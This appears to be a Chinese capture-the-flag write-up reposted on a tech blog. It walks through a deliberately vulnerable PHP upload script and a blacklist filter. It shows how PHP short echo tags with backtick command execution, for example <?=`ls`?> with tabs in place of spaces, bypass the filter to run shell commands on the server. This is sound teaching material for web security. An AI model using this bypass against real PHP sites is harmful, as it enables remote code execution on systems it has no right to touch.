php反引号与短标签脚本示例

吾爱主题 阅读:194 2022-11-07 15:28:00 评论:0
?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting (0); highlight_file( __FILE__ ); function check( $input ){      if (preg_match( "/'| |_|php|;|~|\\^|\\+|eval|{|}/i" , $input )){          // if(preg_match("/'| |_|=|php/",$input)){          die ( 'hacker!!!' );      } else {          return $input ;      } } function waf( $input ){    if ( is_array ( $input )){        foreach ( $input as $key => $output ){            $input [ $key ] = waf( $output );        }    } else {        $input = check( $input );    } } $dir = 'sandbox/' . md5( $_SERVER [ 'REMOTE_ADDR' ]) . '/' ; if (! file_exists ( $dir )){      mkdir ( $dir ); } switch ( $_GET [ "action" ] ?? "" ) {      case 'pwd' :          echo $dir ;          break ;      case 'upload' :          $data = $_GET [ "data" ] ?? "" ;          waf( $data );          file_put_contents ( "$dir" . "index.php" , $data ); } ?>

代码审查,参数action控制两个模式,当action=upload的时候会将参数data的值进行过滤并且作为file_put_contents的第三个参数,可以试试输入123的时候是个什么效果,我查资料发现这个函数的第三个参数具体用法是啥我也不知道

当action=pwd的时候,他会输出目录给我们。

一开始两个问号是个啥我也不晓得,查了一下

??是php7新推出来的表达式,有利于简便三元运算符

例:
$example=$_GET['web']??0;
相当于
$example=$_GET['web']?$_GET['web']:0; 

意思就是如果web参数如果存在则返回本身,否则返回0

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function check( $input ){      if (preg_match( "/'| |_|php|;|~|\\^|\\+|eval|{|}/i" , $input )){          // if(preg_match("/'| |_|=|php/",$input)){          die ( 'hacker!!!' );      } else {          return $input ;      } } function waf( $input ){    if ( is_array ( $input )){        foreach ( $input as $key => $output ){            $input [ $key ] = waf( $output );        }    } else {        $input = check( $input );    } }

可以发现这是对data参数的过滤防护,过滤了php,eval,花括号等,其实这些过滤内容有点提示我们要用php标签,但是php,eval,空格这些都被过滤掉了,这时候就有新东西学习了

反引号执行系统命令,以及php短标签

PHP: 执行运算符 - Manual就像如果我们要执行ls命令,通常我们都是system('ls');但是有了反引号,我们直接`ls`即可执行,是不是方便多了,但是要开一个默认选项(默认都是打开的),并且不能在双引号字符中使用

php中的短标签  http://www.tuohang.net/article/163105.html

?
1 2 <? $a ?>相当于<?php?> <?= $a ?>相当于<?php echo $a ?>还省略了 eval 需要的分号

因此我们思路就是,当切换在upload模式的时候,我们可以控制data参数传入php表达式看看效果,然后切换到pwd模式获取路径进入到下面去看看

成功回显1234,有点渲染那味了

构造action=upload&data=<?=`ls`?>,因为空格被过滤了,我们可以利用水平制符\t来代替空格

继续执行命令即可 

以上就是php反引号与短标签脚本示例的详细内容,更多关于php反引号与短标签脚本的资料请关注服务器之家其它相关文章!

原文链接:https://blog.csdn.net/qq_54929891/article/details/124078290

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容